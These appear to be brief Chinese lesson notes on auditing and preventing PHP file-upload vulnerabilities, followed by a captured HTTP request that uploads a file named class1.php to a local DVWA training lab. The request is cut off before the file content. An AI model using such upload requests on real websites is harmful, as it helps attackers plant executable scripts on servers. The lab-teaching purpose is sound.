挖掘上传漏洞
常见上传函数
$_FILES move_uploaded_file等函数
搜索关键字
$_FILES move_uploaded_file
如何防止上传漏洞
自定义文件扩展名和路径
POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.6 Safari/533.2 TheWorld
Referer: http://127.0.0.1/dvwa/vulnerabilities/upload/
Content-Length: 44257
Cache-Control: max-age=0
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycz35Z3smbBOMVWCB
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: security=low; PHPSESSID=af10db443bb4de0a9ac56314d445a4de
------WebKitFormBoundarycz35Z3smbBOMVWCB
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundarycz35Z3smbBOMVWCB
Content-Disposition: form-data; name="uploaded"; filename="class1.php"
Content-Type: application/octet-stream
课后了解
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